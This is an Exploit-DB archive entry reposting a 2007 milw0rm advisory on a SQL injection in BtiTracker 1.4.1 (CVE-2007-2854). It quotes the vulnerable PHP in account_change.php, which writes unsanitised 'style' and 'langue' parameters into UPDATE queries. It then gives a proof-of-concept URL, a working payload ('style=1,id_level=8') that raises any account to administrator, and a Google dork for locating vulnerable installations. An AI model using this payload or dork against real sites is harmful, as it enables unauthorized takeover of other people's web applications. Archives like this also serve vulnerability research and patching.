BtiTracker 1.4.1 - Become Admin SQL Injection

Author: m@ge|ozz
type: webapps
platform: php
port: 
date_added: 2007-05-21 
date_updated: 2016-10-05 
verified: 1 
codes: OSVDB-36316;CVE-2007-2854 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comBtiTracker_141.zip

#################################################################################
#
#	BtiTracker <=v1.4.1 Remote SQL Injection Exploit
#
# Discovered by: m@ge|ozz - babbano@gmail.com
# Vulnerabitity: Remote Sql Injection /
# Problem: Any user can be Administrator
# Website Vendor: http://www.btiteam.org
#
# Vulnerable Code (account_change.php):
#
# if (isset($_GET["style"]))
# @mysql_query("UPDATE users SET style=$style WHERE id=".$CURUSER["uid"]);
#
# if (isset($_GET["langue"]))
# @mysql_query("UPDATE users SET language=$langue WHERE id=".$CURUSER["uid"]);
#
# PoC: account_change.php?style=2[SQL]&returnto=%2F
#
# Example to gain admin control: account_change.php?style=1,id_level=8
#
#
# GoogleDork: "by Btiteam"
#
# Shoutz: - eVolVe or Die -
#
#################################################################################

# milw0rm.com [2007-05-22]